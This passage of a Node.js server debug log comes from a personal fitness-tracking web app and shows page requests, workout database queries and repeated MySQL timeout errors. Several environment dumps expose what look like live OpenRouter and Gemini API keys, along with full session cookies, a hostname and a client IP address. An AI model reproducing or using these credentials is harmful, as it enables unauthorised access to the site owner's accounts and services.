    'HTTP_IF_NONE-MATCH': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:38.051Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-25T14:05:38.051Z server-connect:app Executing action step identify
2025-12-25T14:05:38.052Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:38.052Z server-connect:output identity: 1
2025-12-25T14:05:38.052Z server-connect:app Executing action step restrict
2025-12-25T14:05:38.052Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:38.052Z server-connect:output restrict: undefined
2025-12-25T14:05:38.052Z server-connect:app Executing action step select
2025-12-25T14:05:38.052Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-25T14:05:38.053Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-25T14:05:39.497Z server-connect:router Serving templateView /exercise/2
2025-12-25T14:05:39.498Z server-connect:app Executing action step identify
2025-12-25T14:05:39.498Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:39.498Z server-connect:output identity: 1
2025-12-25T14:05:39.498Z server-connect:app Executing action step restrict
2025-12-25T14:05:39.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:39.498Z server-connect:output restrict: undefined
2025-12-25T14:05:39.498Z server-connect:router Render template workout-exercise
2025-12-25T14:05:39.499Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2357-j9PQ8jvP44P3ynbJO3+5swBWwqw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2357-j9PQ8jvP44P3ynbJO3+5swBWwqw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:39.709Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-25T14:05:39.709Z server-connect:app Executing action step identify
2025-12-25T14:05:39.709Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:39.710Z server-connect:output identity: 1
2025-12-25T14:05:39.710Z server-connect:app Executing action step restrict
2025-12-25T14:05:39.710Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:39.710Z server-connect:output restrict: undefined
2025-12-25T14:05:39.710Z server-connect:app Executing action step select
2025-12-25T14:05:39.710Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-25T14:05:39.713Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 6,
    workout_name: 'Arms',
    exercise_name: 'Standing Bicep curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 7,
    workout_name: 'Arms',
    exercise_name: 'Seated Z bar curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
2025-12-25T14:06:48.006Z server-connect:router Serving templateView /exercise/2
2025-12-25T14:06:48.012Z server-connect:app Executing action step identify
2025-12-25T14:06:48.012Z server-connect:app options: { provider: 'security' }
2025-12-25T14:06:48.012Z server-connect:output identity: 1
2025-12-25T14:06:48.012Z server-connect:app Executing action step restrict
2025-12-25T14:06:48.012Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:06:48.015Z server-connect:output restrict: undefined
2025-12-25T14:06:48.015Z server-connect:router Render template layouts/main
2025-12-25T14:06:48.015Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"11fff-HmZhRifL9C4PG3LzOWU8sqdLGqM"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"11fff-HmZhRifL9C4PG3LzOWU8sqdLGqM"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/workout-exercise'
}
2025-12-25T14:15:12.226Z server-connect:app Executing action step identify
2025-12-25T14:15:12.226Z server-connect:app options: { provider: 'security' }
2025-12-25T14:15:12.227Z server-connect:output identity: 1
2025-12-25T14:15:14.547Z server-connect:app Executing action step identify
2025-12-25T14:15:14.548Z server-connect:app options: { provider: 'security' }
2025-12-25T14:15:14.548Z server-connect:output identity: 1
2025-12-25T14:16:52.730Z server-connect:app Executing action step identify
2025-12-25T14:16:52.731Z server-connect:app options: { provider: 'security' }
2025-12-25T14:16:52.731Z server-connect:output identity: 1
2025-12-25T14:16:54.548Z server-connect:app Executing action step identify
2025-12-25T14:16:54.548Z server-connect:app options: { provider: 'security' }
2025-12-25T14:16:54.548Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 14:54:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 14:54:01' as DATETIME)"
}
2025-12-25T14:59:34.237Z server-connect:app Executing action step identify
2025-12-25T14:59:34.237Z server-connect:app options: { provider: 'security' }
2025-12-25T14:59:34.237Z server-connect:output identity: 1
2025-12-25T14:59:38.092Z server-connect:app Executing action step identify
2025-12-25T14:59:38.092Z server-connect:app options: { provider: 'security' }
2025-12-25T14:59:38.092Z server-connect:output identity: 1
2025-12-25T15:05:48.230Z server-connect:app Executing action step identify
2025-12-25T15:05:48.230Z server-connect:app options: { provider: 'security' }
2025-12-25T15:05:48.230Z server-connect:output identity: 1
2025-12-25T15:05:51.032Z server-connect:app Executing action step identify
2025-12-25T15:05:51.033Z server-connect:app options: { provider: 'security' }
2025-12-25T15:05:51.033Z server-connect:output identity: 1
2025-12-25T15:17:07.232Z server-connect:app Executing action step identify
2025-12-25T15:17:07.232Z server-connect:app options: { provider: 'security' }
2025-12-25T15:17:07.232Z server-connect:output identity: 1
2025-12-25T15:17:09.716Z server-connect:app Executing action step identify
2025-12-25T15:17:09.716Z server-connect:app options: { provider: 'security' }
2025-12-25T15:17:09.716Z server-connect:output identity: 1
2025-12-25T15:29:37.013Z server-connect:app Executing action step identify
2025-12-25T15:29:37.013Z server-connect:app options: { provider: 'security' }
2025-12-25T15:29:37.013Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 15:49:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 15:49:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 16:11:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 16:11:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 16:51:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 16:51:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 18:55:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 18:55:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 20:38:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 20:38:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 21:08:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
